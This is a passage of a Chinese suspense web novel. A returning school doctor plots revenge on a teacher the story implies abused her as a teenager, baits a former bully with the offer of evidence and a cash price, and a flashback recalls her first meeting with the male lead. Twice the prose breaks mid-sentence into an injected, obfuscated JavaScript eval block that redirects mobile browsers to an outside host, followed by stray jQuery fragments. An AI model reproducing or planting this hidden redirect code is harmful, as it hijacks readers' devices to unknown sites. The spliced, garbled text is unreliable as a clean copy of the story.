他刚要退出,鬼使神差点开了08年,赫然看见一行字“高三五班陈月露 660分,考入北京医学院”。
这个分数让赵冬阳心里一跳,赵冬阳也参加过高考,在河北这个高考大省以及三线城市的教育资源下,陈月露考出这个分数的含金量。
一个北京的高材生回来这个小县城里的破初中当校医?
他想了一下,开始翻箱倒柜,从一个散架的书柜深处捞出来一本同学录和一本相册,他翻开照片,找到有陈月露的几张。
其中一张,她和张雪薇并排站着,身后的白世尧把手臂敞开,两只手钳住小女孩的肩膀,像牢笼一样,两个女孩脸色沉郁,看不出一点笑容。
一些反常的感觉在挑战着赵冬阳,14、15岁的时候,他属于满脑子跑步、足球和吃什么的缺心眼,别人在夕阳下早恋,他满世界找直溜的树棍子当神剑,所以身边的小女孩暗流涌动的情绪他什么也察觉不出来。
十来年的时光早把清澈愚蠢的童真给褪干净了,他成了一个杂货铺里迎来送往的商贩,被生活锤炼出来一点察言观色的技巧。
照片里他直觉感到,陈月露很排斥白世尧。
陈月露是那种害怕老师胆子又小的学生,但害怕老师和排斥厌恶是两种情绪。
为了验证自己的想法,赵冬阳从自己的□□空间里翻出来当年同学上传过的照片,他一张一张翻过去,只要和白世尧站在一起的照片,陈月露就会露出那副神情,厌恶排斥甚至带着淡淡的死意。
但和其他老师站在一起,她的神情就会松弛很多。
结合白天看到的两人见面的场景,赵冬阳直觉,白世尧是不是对她做过些什么。
一个30岁左右的男老师能对一个14岁的小女孩做什么?
赵冬阳心里一咯噔。
当年自己和陈月露不是一个班,对12年前的白世尧并不怎么熟悉。
而这几年的白世尧工作顺风顺水,在外形象斯文体面,饱受尊重。
本质是个畜牲吗?
如果是真的,那就说通了她这次回来的目的。
她是冲白世尧来的,她是来复仇的。
这个念头一起,炎热的夏日,赵冬阳心里却泛起了深深凉意,他忽然不确定那段无忧无虑耀眼无比的初中生活究竟是不是真实的,而对小月亮的记忆颜色,从金灿灿和软乎乎,蒙上了一场阴郁黑暗的气息。
8. 晚餐
“滴滴滴”,几声鸣笛后,一辆小货车在隔壁门口停下。
货车门打开后,陈月露从上面跳下了,她又拎下来两大兜东西。
她付了钱让司机和另一个小伙子替她把车厢里采购的床、板凳和一些必备的家具给搬上楼。
她自己也跟着到了楼上。打开灯后她微微一怔,屋里已经完全变了样。
地面已经清洁过,墙纸上霉菌的地方也重新修补好,坏掉的柜门已经可以推拉自如,灯具全部换过,一切都变得洁净好用。赵冬阳还给这个房间墙面上挂了一副画——是一幅热烈的向日葵。
陈月露看了那幅画一会儿。然后她用手机把那幅画拍了下来。
她发了一条消息给赵冬阳,附带上这张向日葵的照片,“这幅画好熟悉。”
“嗯,十多年了一直挂在我家里。你那块墙面已经斑驳了,挂上正合适,就送给你吧。”
陈月露又抬头看了一眼那幅画,画面右下角不显眼的地方有一个小小的签名,签名写的是“夏琳”。
“这一说,我想起来了,是夏琳阿姨画的,以前我去你家见过。我很喜欢,谢谢。”
“客气了。”
陈月露说喜欢并不是客套,她是真的觉得这副画在这栋房子里是个点睛之笔,浓浓烈烈的金色,驱逐了旧房子的灰暗,而且看着看着,心里的阴霾也好像减轻一些。
她随手把这副画设置成了手机壁纸。
家具安置好后,陈月露环顾了一眼四周,这个房子居然有了温馨的感觉。她也没有想到赵冬阳用一个下午就能让这里变得能入住。
很神奇,她觉得人和人之间有很难说清的磁场频率,面对不同的人,就会触发出不同的相处模式。但好像无论遭遇什么,跟一些人的模式总是固定的。比如和赵冬阳,明明她已经变得和当初的小软包完全不一样,他还是能用自然的方式照拂到自己。
在中学时期就是这样,连到现在也是这样。
“吃饭了吗?”陈月露点开手机,打开和赵冬阳的对话。
“吃了。”对方回复。
“可是我点了外卖,两份。”
“……”他敲了一串省略号后又回复:“那……还能再吃点。”
陈月露轻轻笑了笑,“那我过去找你,请你吃饭。”
“行。”
她攥着手机下了楼。
赵冬阳正在门口的树下整理纸箱子,陈月露站在旁边看了几眼。他好像很会干活儿,一举一动带着几分随意熟稔,他身材板正,额头垂下一捋碎发,下颌线在发力时会变得清晰紧实,目光很专注,好像折箱子都是一件重要的事情。
像是一个在修行的人。
陈月露听说过他家发生的事情。就在她转学离开一中后不久,张叔变成了重症患者,漂亮的夏琳阿姨被传言说与人私奔了,一个刚刚重组的家分崩离析。
她屡次想打电话问赵冬阳的情况,但她因为初中事件的创伤后遗症,无法跟人交流。再后来,陈月露把自己淹没在一个个目标中——先修补好精神,再养好身体,用尽力气长大,拼尽全力学习,一步一步做好回来的准备。
慢慢地,她跟赵冬阳走上了两条轨迹。
想起来,陈月露心里生出一点淡淡的遗憾。
这时她手机发出叮的一声,刚点的外卖被商家退单了,理由是时间太晚,食材也不够了。
陈月露咬住嘴唇,心里的遗憾转变成了尴尬。
赵冬阳抬头看见她,看出她略微不自然的表情,问道:“怎么了?”
陈月露把嘴咬得更重,躲闪开眼睛说:“商家拒单了。”
“今天这个客,我是请不成了。”她更小声地说完,肚子不争气地发出一阵咕噜的声响。
她默默往后退了两步。
赵冬阳没忍住笑了,摘下手套,“那我请你。”
他说完,往店里走了几步,见陈月露站着不动,转过身,两只胳膊插在窄腰上,看着她又说:“怎么着,老同学,这点面子都不给吗?”
陈月露看着他在想,这到底是为什么,原来的人情还没还清,后欠的人情又要垒成山。她又想起刚刚的理论,无论遭遇什么,跟一些人的相处模式总是固定的。
但她和赵冬阳的相处模式这是被夯死了吗?赵冬阳就像是上辈子欠她这辈子来报恩的一样。
“嘿,想什么呢?”赵冬阳打了个响指,冲她喊。
她把乱七八糟的思维从脑子里挤出去,跟着也进了店里。
赵冬阳搬出一个矮矮的小桌子摆在柜台前的空档,又拿了两个小马扎,陈月露乖巧地搬了一个马扎坐下。没一会儿赵冬阳从厨房里端了两碗面出来,素面,泛着油光的清汤,撒着葱花,盖了一个糖心煎蛋,带着食物温吞踏实的香气,面摆到陈月露面前,她不由地吞了一口口水。
赵冬阳递给她一双一次性筷子。她接过后不再客气,直接开吃。
赵冬阳的目光从她身上挪开,垂头搅拌了一下自己碗里的面,问:“今天报道怎么样?顺利吗?”
“还行,看见一些……老熟人。”
“你心情还好吗?”
陈月露手稍稍顿了一下,又说:“不算好也不算坏,只是工作而已。”
赵冬阳想起白天的那个猜测,他最后还是按压下自己问出口的冲动。
屋里陷入一阵安静,成年人之间的话题像是都被装进了高高厚厚的屏障里,能坦然说出口的并不多。
“那个……”赵冬阳的话头在嘴边转了半晌,选了一个最不靠谱的话题问出口:“出去这么多年,没谈个对象吗?”
听到这个提问,陈月露被面呛得咳嗽了两声。赵冬阳赶紧手忙脚乱地给她递过去一瓶水。
陈月露喝完水,顺完气儿,抱着胳膊往后一仰头,看着赵冬阳说:“怎么,你有合适的要介绍?”
赵冬阳也不知道自己哪儿根弦搭错了,非要问这个。他耳朵不经意地红了,一时没接话。
等赵冬阳两口吃完碗里的,他再抬起头,对上陈月露的目光,轻声又温和地念叨了一句:“没有,以后要是有人欺负你,你记得跟哥说。”
陈月露没想到他会这样说。她垂下头,没让赵冬阳看清自己的表情,她语气低低地沉下去,“不会有人再欺负我了。”
说完,她抹了一把嘴,从兜里摸索出一张名片放在桌子上,“张叔的病全世界都没得治,但我导师的同门在研究治疗阿尔茨海默的新药,临床试验已经II期,在招募受试者,你要感兴趣,可以带去试试。”
“就是实验结果,可能变好可能变差,你要有心理准备。”
赵冬阳看了那张名片几眼,最后收了起来,“行,我本来也是想带他试试别的治疗法子。”
赵冬阳这才发现陈月露回来这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885195|159853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
段时间,从来没有问过他的情况,但似乎她什么都已经知道了一样。
他最后目光幽幽地落在陈月露喜怒不表的脸色上,低声说了句:“出息了。”
和赵冬阳分开后,陈月露回到了自己的屋子。夜已经深了,陈月露的心也沉静下来,她以前有失眠的习惯,逐渐地感觉深夜里的思路和痛苦都会更加清晰,于是睡觉时间变得越来越晚。
她从墙角拖出来那个巨大的行李箱,一路拖到新买的书桌旁,桌子左边带着一个简易书架,陈月露打开了行李箱。
行李箱最上面摆的是一个电脑包,电脑被取出来摆放到桌面后,露出底下的一大摞本日记本。
这些日记本足足有二十余本,其中一些已经看出有些年头。她拿出最顶上的一本,淡粉色的硬壳的方形本子,边缘已经磨得发白,封面上是美少女战士,侧面带着一把氧化发黑的密码锁。
这是她的第一本日记。
初二的时候,作为语文老师的白世尧要求每个学生准备一个日记本。白世尧并不强制要求上交,很多人都不当回事儿。但陈月露很老实,她花了许多零花钱买了小店里最贵最流行的一本,每天认认真真记录下当天发生的事情。
即使在马玲玲去世那段时间她也没有停止过。
她摸着那二十余本日记。十二年前得知马玲玲死讯后,陈月露心里翻涌起巨大的不安,她觉得自己像是故事里不祥的女巫,厄运从她的预言里一一成真。寒假返校后,她的另一个预感得到了印证——白世尧跟马玲玲的死确实有不可分割的联系。
她带着她的猜测和证据跑去找到马玲玲唯一的奶奶王桂英,对方却因将嫌疑人之一敲成了残废而被捕。
王桂英被拷上手铐后,俯身对着嚎啕大哭的陈月露一字一句地说:“你欠我一个真相。”
小小的陈月露的哭嚎因为这句话止住了,她看着王桂英被痛苦煎熬后的脸,连同这句话一起刻进心里,那一天起,她的痛苦懊悔逐渐有了清晰的去处。
也是从那天后,她日记内容基本都和当年的事情有关系,时间平静如水地过去,但时光的痕迹被她用笔留了下来。
她收回思绪,把日记本按照时间顺序一本一本排列在书架上。行李箱子压在最下面的是一个自封袋,里面封着一本旧书——阿来的《尘埃落定》。陈月露取出一副橡胶手套,小心拿出那本书,摊开在桌子上,她翻开书,拍了两张照片,然后点开微博APP,在同城新鲜事里,那个招魂儿的视频还在被热烈地讨论中。
陈月露翻到其中一个评论,评论内容是:“当年的案子有隐情,那个罪魁祸首还没抓到,有人把那仨小孩当枪使了。”
一个叫“称霸人间”的人留下两个评论,“你到底知道点啥?没证据别胡咧咧。”“有没有证据?造谣谁不会啊?”
陈月露点开和“称霸人间”的私信框,她前两天就把这个网友的主页翻了遍,他相册里一张照片里露出来的手臂纹身令她确定这个人就是黄得洪。
陈月露轻咬了一下下嘴唇,手指轻轻点了一下,最后发了两张照片过去,并配文说:“我怎么没有证据,这就是证据。”
照片内容是那本旧书上的一页,页面上是歪歪扭扭的红色字迹,那字迹写着——“白世尧禽兽”。
紧接着陈月露在私信框中慢慢输入:“你好好看看,这是马玲玲死前用血留下的字迹。”
9. 帮助
陈月露没入职前就知道杨校长要退休,但她没想到校长换届选举来得这么早。她站在学校公告栏前,看着公示出来的有选举资格的候选人名单,白世尧的名字排在第一位。她又看了一眼校长换届选举会的具体时间,就在不到一个月之后。
陈月露轻轻吞了一口口水,时间太紧张了。
她用手机拍下选举资格的候选人名单,上面的人名她几乎全部不了解。
而陈月露只在入职时跟白世尧打了一次照面,之后两人的接触很少。白世尧一直在忙的就是换届拉票的事情,他像个采蜜期的蝴蝶一样,活跃在学校的每个角落。而他那副看上去亲切温和的微笑也从来没在他的脸上下来过。
连面对自己的时候也是。
陈月露入职一周后,曾组织对学生做了一次生理知识科普,她在准备的生理知识讲解小册子的右下角写上了自己的联系,让觉得遭遇过不舒服对待的学生可以勇敢与她联系。
“保护好我们的身体。”陈月露举着她所印刷的小册子对每一个学生说道。
没想到在两天后的教职工会上,她办的这场活动被白世尧特意提出来表扬了。白世尧用开放包容的语气盛赞了陈月露在工作上的积极主动,创新能干以及怀揣着对学生可贵的责任心。
他那张笑脸,没有一点缝隙。
陈月露感觉到自己像是只误入了对方领地的动物,被对方站在悬崖边上高高俯瞰。
接下来几天,她花了一点时间把校长候选人名单里的人员小小调查了一下。这实际根本不难,她到每天下午两点半的时候,都会洗好水果,带上雪花酥、山楂片各种零食去各个办公室里分发。
陈月露带着温顺的笑,往窗户边上一坐,可以听老师们家长里短的闲话听上一个下午。
才四五天的时间,她就大致了解了这几个候选人的口碑。
人们都认为白世尧当选的可能性是最大的。
“这个选举会就是个过场,”一个心直口快的老师剥开一个花生说:“白世尧肯定当选,他在那位置那么久了,轮也轮到他了。”
陈月露假装不理解地插嘴道:“白老师这么厉害啊,这么年轻就能当上校长,我上学那几年,他还是个管人都管不住的新老师。十多年前,不是还闹出过事儿吗?他管的班儿,死了一个学生。”
她故意提起的事儿就像是在平静的水面上扔进一个石子儿。几个年轻的老师都纷纷停下笔讨论起来,“真的假的?”
“这种教学事故,怎么处理的后来?”
在场对当年那事儿知道的并不多,最后是年长的地理老师开了口,“那案子早判了,三个不知好歹的学生跟另一个女孩闹着玩儿出了意外,女孩儿死了。白世尧当时虽然是女孩的班主任,但事情发生是在寒假期间,给他定的责任不重。”
她顿了顿,含了口茶水润嗓子,继续说:“他能升上去,主要还是因为他有一点背景和人脉,那事儿没多久后,他拉到了市里企业的赞助,把学校破旧的操场和体育馆都进行了翻修,那个赞助者是他班里一个孩子的家长。听说他家里还有个亲戚,也是个厉害的人物。”
“啥亲戚啊?”
“这也只是听说,这么多年,谁也没见他透露过一点半点口风。”地理老师补充完,吐了两口茶梗子。
另一个老师说:“以前他年轻经验不足,这么多年下来,这做事儿也没有谁比他更八面玲珑了。瞅最近这架势,人家可老能体察民情了。”
一时分不出来他这话是阴阳怪气还是真心称赞。
“也不见得是白世尧呢,王利民那个大脑袋瓜不早也想往上走呢吗,人家资历不比白世尧低,也干老多年了。”
“王利民哪儿有白世尧形象塑造得好?”
“管他谁当呢,谁当这日子都一样~”
“白世尧那个风格,上任肯定要加大形象工程力度。”
“就是,那肯定还是不一样,各自侧重方向不一样。”
“你没看,王利民最近也较着劲儿呢,都野心大着呢。”
……
陈月露一边听,一边把剥完的橘子皮轻轻丢入垃圾桶里。
此时,赵冬阳的店里来了一个不速之客。黄得洪已经坐在店门口连抽了三包烟,他穿着一个黑色背心,黑蓝色裤衩,脚上踩着一双凉鞋,整个庞大的身体挤在一张小马扎上,他一手摩挲着脖子上的紫砂吊牌,一只手刷着手机。
“你……你找谁?”张继国皱着脸,伸手指着黄得洪。
黄得洪瞥了老头一眼没搭理。要不是车里太热,这儿有空调,他也不稀罕坐在这里。他起身又从冰柜里拿了一瓶饮料,付了钱,继续大大喇喇地把自己摆在门口。
赵冬阳看了他两眼,把张继国推回自己的房间里。
黄得洪之所以等在这里,是为了前几天的那条私信——一张用血红字迹写着“白世尧禽兽”的图片。
他收到私信的时候,整个人起了一身鸡皮疙瘩,这条线索对于怪事缠身又无比迷茫的黄得洪来说,来的正是时候。
他瞬间就明白了大仙儿说的当年那件事情里面的第四个人是谁。而当年的一些后来想起来别扭的细节也也能得到合理的解释。
当初就是白世尧把他们仨当了枪使,真正想逼死马玲玲,掩盖自己把柄的也是他。
但人想瞌睡就被送枕头这么巧合的事儿,还是引起黄得洪的疑心。他可不想再被人当一次枪使,又谨慎地发消息给对方说:“你跟这事儿有什么关系?你有这个线索,你怎么不直接报警?”
“我找到这本书的时候,警察已经定案了。那时候我才十来岁,还在白世尧班里读书,哪儿敢为了一个定了的案子举报得罪他?”对方回复说。
黄得洪盯着“在白世尧班里读书”这句话,意识到这个举报者他很居然可能认识。
“你到底谁啊?这不巧吗?我当年也是白世尧班里的。”
这条消息发出去后,对方半天没有回复。
黄得洪等得极不耐烦时,对方缓缓发来一个疑问,“你又为什么关心这事儿?你是纯好奇还是,就是当事人之一?”
黄得洪再也绕不下去弯子,直接敞亮说道:“我就是视频里那个,叫黄得洪,你他妈到底谁儿,别婆婆妈妈。”
片刻后,对方发送:“两万块。”
“什么玩意?”
“你要想知道我是谁,并且想拿到这个证据,你就付给我两万块。”
黄得洪看到这条消息时,心里暗骂了好几句,他带着火儿,发出消息,“你缺钱想疯了,你什么玩意就上来要钱?!”
“你好好想想,想通了就打钱过来。我会把物证、人证以及当年真相都送给你。”对方说完,任凭黄得洪怎么骂,都不再回答了。
黄得洪气得把手机扔出去两米。但没一会儿他就冷静了下来,他反复看了照片里那本书上的血字,回想起当年的一些细节,马玲玲并不是亲眼死在他们三人面前。而且如果不是白世尧鼓动,他们根本都不会碰这个女孩一下。
他越想越觉得,如果不是那个笑面虎,说不定自己根本就不用受后来的牢狱之灾。
那个招魂事件发生后,他的几个赚钱渠道都断了,就像是有人专门搞他一样,卖酒的渠道还欠着一大笔货款,供应商已经把黄得洪催得日夜难眠。
但白世尧却一副春光正得意,听说正准备着竞选校长。
这他妈凭什么?!
黄得洪把现在的形势在心里一转,如果手机里这个人说的都是真的,他就能敲那只肥羊一笔。他这些年受的罪能折合多少钱?
可远不止两万块。
“我要当面验收,一手交钱一手交货。你要敢玩我,我弄死你知道不?”黄得洪拾起手机,发出这条消息。
随后对方发来一个地址。
黄得洪查了一下,是个地处偏僻的小饭店。
他抽了口烟,思忖一下后说:“既然可能是认识的,还是老同学,地址就订在你工作或者家附近呗,要是躲躲藏藏的,我怎么相信你不是个骗子。”
对方沉默半响后,发来了同口一中的地址,并备注:“后天下午六点,在门口见。”
黄得洪又看了一眼表,已经到了五点四十,同口一中的门口已经乌泱泱地挤满了放学的学生。密密麻麻地人晃得黄得洪眼晕,他碾灭了烟头,掏出手机给对方连发了三条消息,“我到了,你在哪儿?”“人具他妈多,你啥样?”“我就在这个杂货店门口。”
一直等到快六点半,学校门口的人都已经散的差不多,黄
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885196|159853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得洪的手机都没有收到一条回复。
他觉得自己有点被耍了,“你耍我呢?交易还算不算数?”“老子快没耐心了!耍老子别让老子逮到你是谁!”他暴躁地连发两条,却没注意到一个女生已经站在他面前。
陈月露把手里的宣传册卷起来敲了黄得洪一下,黄得洪抬头,她压低嗓子,面色平静说:“你跟我走。”
赵冬阳目睹了这一幕,他知道黄得洪,一个臭名昭著的混子。但陈月露和他接触让赵冬阳感到很意外,赵冬阳走到店外,看着两个人离开的方向,想跟过去又停住脚步。
陈月露应该知道自己在做什么。
但他还是忍不住产生一股担心。
直到晚上9点。
陈月露毫发无损地出现在柜台边,她一脸轻淡地问赵冬阳:“吃了吗?”
赵冬阳摇摇头,下午忙完,饿意也很快过去,他就没再折腾。陈月露放下手里的打包的饭菜,“我也没吃,一起吃点,我点了两人份。”
她转身去找凳子,赵冬阳给她指了下方向,拆开了柜台上食物的包装。
两份牛肉罩饼,一份豆腐丝,一份熏肉,还有几瓶啤酒。
“今天你都干嘛了?”赵冬阳问。
“上班呀,听同事们唠嗑,下班去见了一个……老熟人。”
“挺忙的?”
“嗯。”陈月露立在一米半外半低着头,一只手拿着手机在飞快地回复着消息。
赵冬阳看着她,她站得笔直,T恤扎在牛仔裤里,冷白色的灯光使她的神情显得十分洁净。
赵冬阳面前的电脑屏幕上是白天的监控录像,那监控角度直对着店门口的黄得洪,画面中他的手机上正放大着一张图片,仔细辨认过去,那图片上血红字迹写的是——“白世尧禽兽”。
“小月亮?”赵冬阳又开口。
“嗯?”陈月露停止了打字,她抬头看向赵冬阳。
“你需要帮忙吗?”
“这会儿吗?”陈月露想了想,“不用啊,房子的事儿你已经帮我很多忙了。”
她的头发在灯光下散泛着柔和的金棕色的光泽。
赵冬阳慢慢地说:“我是说,你的复仇计划。”
空气凝滞了半刻,陈月露站在那里一动不动。
紧接着赵冬阳问道:“咱们初中那会儿,白世尧是不是对你做过不好的事情?”
陈月露听见自己的心脏在如擂鼓一样跳动。
她缓慢地点了点头。
“痛苦一但有了方向,生活就会一下子顺畅很多。”赵冬阳想起陈月露之前说过的话。
猜想被验证后,赵冬阳觉得,他好像不认识这个女孩了。原来在不知道的时光里,她也在苦苦支持着摇摇欲坠的人生,消化着隐秘尖锐的痛苦。
此刻她平静地像一汪水,水下是已经抚平的痛楚。
她成长成了铮铮劲草,毫不妥协。
“那我帮你。”赵冬阳说。
头一次在陈月露脸上看到犹豫,半响后她说:“你不知道我要做什么。”
“无论你做什么,我都帮你。”赵冬阳的声音像一滴水,坠落进一片水面。
陈月露远远地盯着这个男生,熟悉的感觉又来了,那种在每个阶段都能笼罩住她的照拂,那种在她每次快要摔倒都会被接住的机缘跟运气。
以至于后来她频繁地发出困惑:“赵冬阳,你上辈子是不是欠我的?”
赵冬阳也说不清楚那刻的感受,他被困在自己的泥潭里太久,他没有任何朋友,没有任何交际,日子一模一样地过去,他一度觉得自己的生命力都快被这个四方的杂货铺子淹没。
连仇恨都是需要力量的。他在这种钝刀子割肉般的日子里,快失去所有反抗的力气。
他只是需要这么一件可以催动他的力量的事情。
回到此刻。
房间里静默了一段时间后,赵冬阳突然对陈月露脱口说出又绕又莫名其妙的一句:“让我帮你,其实是在帮我。”
陈月露一瞬间就理解了这句话的意思。
她放下手里的手机,把赵冬阳带到了自己的房间,她指着客厅里自己那一整排的日记。
“如果你要帮我,那就从了解12年前发生的那些事情开始。”
10. 初遇
十二年前。
“小露露,你走快点,我得去办席那儿找我奶要钱,我半个月生活费还没着落呢。”14岁的董敏穿着红布裙子一路小跑着,镇上街道铺着的红砖被日积月累碾得坑坑洼洼,从田里带来的土扬在她小腿上,让她像只灰扑扑的红蝴蝶。
陈月露一手各拉着一只行李包,行李包是从董敏奶奶从村里集上买的,有轮子和收缩拉杆儿,承东西的部分是灰蓝色的劣质布包。董敏想要那种方方正正又洋气的行李箱,但她只得到了这个,在返校的路上她从来不碰这个行李包,都让陈月露帮她拉。
14岁的陈月露个子还不足1米55,身边的同龄人已经长到1米6以上了,她长了一张非常乖的脸,齐刘海,头发别耳朵后,看上去像个娃娃。听到董敏催促,陈月露没说什么,把肩上快滑落的大书包重新背好,拉着行李包使劲儿往前冲了好几步,轮子在突出的砖道上咯噔咯噔得快了许多。
她俩一路走到了镇上的一个饭店。
“谁家结婚?这真好看。”董敏左右看看,饭店外头铺了一条长长的红地毯,气球扎成了拱门在风里晃晃,红地毯两边堆满了搭配漂亮的花束,地上是亮晶晶的彩带和花瓣。
董敏提着裙子从红毯上走来走去。
“是这儿?”陈月露疑惑地问。
董敏停住脚,也不确定地转头往里面看,“我妈说就是这儿啊~”
俩人扒着门探头往人群里瞅,里面喜宴摆了有十几桌,菜还没上,有人坐着,有人往桌与桌间溜达,有人站起来往中央瞅,最中央是一个台子,上面堆满了鲜花,有个非常漂亮的女人正站在台子底下调整婚纱,旁边一个套在西装里的男人一脸都是笑。
董敏光顾着看那个穿婚纱的女人,又一次忘了正事。
陈月露却锲而不舍地目光巡视下,终于从人群里看见了董敏的奶奶。
“你们俩可以进去啊~”一个男声忽然从陈月露的头上响起来。
是字正腔圆的普通话。
陈月露抬头,一个大概十四五岁的男孩站在她身后,他长得高,接近1米73,皮肤健康匀称的小麦色,下颌线很清晰,穿着一件白色的衬衫和合身的西装裤子,胸口别着一朵胸花。
董敏看着男孩,嘴张了张又合上,挠了挠头,最后戳了陈月露一下。
陈月露知道,她这是紧张说不出话。
“我们俩找人。”陈月露假装镇定地说,为了增强说服力,一指屋里面人群的方向,又一指董敏,“那个是她奶奶。”
“嗯,进来吧。”男孩先跨进门。陈月露拽着董敏往里走,走着没两步,男孩顿住,扭过头看了眼陈月露,他绕到陈月露身边,一手把她手里的大行李包给提溜起来,“我给你拿。”
陈月露有点不好意思,董敏却先红了脸。俩女孩跟在男孩身边,磨磨蹭蹭地走到董敏奶奶那桌。
“奶!”董敏一下扒在奶奶肩膀上,“我下个月生活费还没给呐~”
董敏奶奶一拍她的爪子,“吃了饭给你,多给你攥会儿你都得丢。这座位正好少个人,你吃了席再走。”奶奶先把董敏按到自己旁边座位,又寻摸四周。
男孩把董敏的行李包放在地上,看了一眼乖乖站着的陈月露,转身从后厅端出来一把塑料凳子,摆在董敏旁边。董敏奶奶边冲男孩点点头边拽陈月露,“谢谢哈,俩小孩,吃得不多。”于是陈月露也被按在饭桌边上。
陈月露看了一眼男孩,也小声说了一声谢谢。
以为男孩没听到,没想到对方却笑了。
“跟小猫儿似的。”
男孩说完就走了。
董敏目光也随着他的身影溜走,直到没入人群里才收回来,“身板挺端正。”她评价道。
忽然董敏一捅陈月露,垂下头极小声说:“怎么她也在啊?”
陈月露抬头才发现桌子对面是同学马玲玲,她像电视开机一样,反应了好一会儿,才迟钝钝地抬起手朝着马玲玲的方向晃了晃,“嘿!”
这引得董敏在桌子底下连番捅她。
陈月露没办法既顾及社交礼仪又照顾朋友的感受,于是硬着头皮按下董敏的手,继续跟马玲玲打招呼,“巧啊。”
马玲玲面色冰冷冷的,今天她头发明显洗过,没有像之前一样打绺儿,垂直下来,十分乌黑,她皮肤黝黑,眼睛狭长,细长的手指捏着一把荧光色的玻璃丝,现在非常流行用这个编手链,她手腕上已经带了四条,花样繁复,五颜六色。她一张嘴,发出呼啸的痰声,她往地上吐了一口,才和陈月露惜字如金地说了一个字,“巧。”
声音粗得乌鸦嗓一样。
董敏也只好干巴巴挤出一个礼貌的笑容。然后她又低下声埋怨陈月露,“就你讲礼貌,你明明知道大家都不喜欢她。”
陈月露什么也没说。
马玲玲身边是她奶奶王桂英,叼着一个长杆儿的烟,吧唧吧唧地抽着,烟熏得旁边大婶一直挥手,王桂英浑不在意。
“少抽点,桂英,你家玲玲不是哮喘吗?”董敏奶奶隔着桌子对王桂英说。
“我马家的孙女,哪儿那么娇气。她受不了她会躲远点,我不抽一口提精神,下午的农活咋干?”也是一口哑嗓子。
“这把岁数,你还下地呐?今年包了几亩种?”
王桂英伸开两只手,把十根手指都露出来,吧唧两口烟,“十亩。”
“可把你厉害得,一把老骨头了这不累死?”董敏奶奶扔过去几个花生。
“老的是你,我可不老。”王桂英捡起花生一碾,直接扔进嘴里,嚼得嘎嘣响,面容显出一股粗糙的活力。
男孩走过来往每张桌子散烟和喜糖,来到这张都是女人的桌子边,看了一眼王桂英,放了几只散烟在桌上,路过陈月露和董敏,又多给俩人抓了一把喜糖堆在她们面前。陈月露看着他散完烟和喜糖,走到台子边的穿婚纱女人的边儿上,他给女人整了整后面的裙摆,然后接过一支捧花,等待仪式进行。
男孩一走远,桌子上八卦就开始了。
“一个二婚家庭搞这么大阵势,啧,这女的不是好搞的。”邻桌一个婆婆说。
“那也是老张愿意,老张不也是二婚,俩人一人带个孩子,一块儿过日子不挺好?”
“话也看怎么说,要是真能踏实过也行。你们想,这女的长得这么漂亮,打扮也时髦,还说普通话,干嘛嫁咱们镇上?来历不清不楚的。”
“女人带的那个孩子,不刚瞅着了,人小伙子精神有礼貌的,女人教养的不错。兴许是个好人?”
“要是好人,这条件嫁老张图啥,图他魅力大?”
人们看看台子边干巴巴的老张,齐齐笑了。
菜一上,没有人再说话,所有人开始伸筷子暗戳戳抢着夹菜,嘴被肘子肉塞住,任何八卦猜忌都被堵在嗓子眼里。
仪式开始了,场面一团和平。
董敏奶奶一人给俩孩子碗里撕扒了两大块鸡肉。董敏一边吃一边回头望,台子上女人和老张在一个业余司仪的吆喝下喝起了交杯酒,董敏看得津津有味。陈月露只是安安静静地吃,她偶尔转头看一眼,那个男孩一手拎着花望向台上,他眉毛很浓,眼睛不大不小,笑着露出整齐的白牙,眼神亮晶晶的,头发竖立来,看上去意气飞扬。最后交换戒指后,他非常踊跃地鼓起掌,衷心地祝愿台上他的妈妈再婚快乐。
仪式很简陋,到最后,男孩终于走上台,老张牵着四岁的女儿,簇拥着中间的女主角,拍了一张家庭合影。
吃完席,人们快速地散了场,现在是收麦子的季节,人们着急下田干农活。董敏奶奶和俩小孩跟着人群走出来,在墙根下面,董敏奶奶从裤兜里掏出一个手绢,一层层剥开,露出一沓零碎票子,数了200块钱递给了董敏。董敏想撒娇多要,董敏奶奶没给她机会,给完钱就转身追着王桂英去赶回村的公交了。
董敏领了钱,直接塞进陈月露背着的书包里。
“这么多钱,你自己保管吧,放我这儿责任太重大了。”陈月露说。
“就这么一段路了,到了学校你就给我。”董敏剥开糖放嘴里含混地说,蹦跳着已经走出快四五米外。
陈月露叹口气,认命般继续拖着董敏的行李包往前走,而没走几步,行李包脆弱的轮子在砖头上发出咔噔一声,断了。
陈月露抬头,董敏已经拐弯不见了人影。
陈月露把那个重重的行李包往前拽了拽,又试着拎了拎,气叹得更沉重。
“我帮你拎。”字正腔圆的男声又从陈月露头顶上响起,陈月露扭头,是婚宴上的男孩,已经换了一身便装,深蓝色T恤和黑色裤子,白色板鞋,单肩背着一个黑色书包。
没等陈月露回答,他直接提起她手里坏掉的行李包,快步往前走。
陈月露红着脸赶紧跟上去,沉默跟着走了两步,她硬着头皮寒暄:“你……你们家婚礼就完了?”
男孩点点头,“好多流程都省了,后面我妈也不让我帮忙了,打发我去一中报道。”
“你也是我们学校学生啊~”<
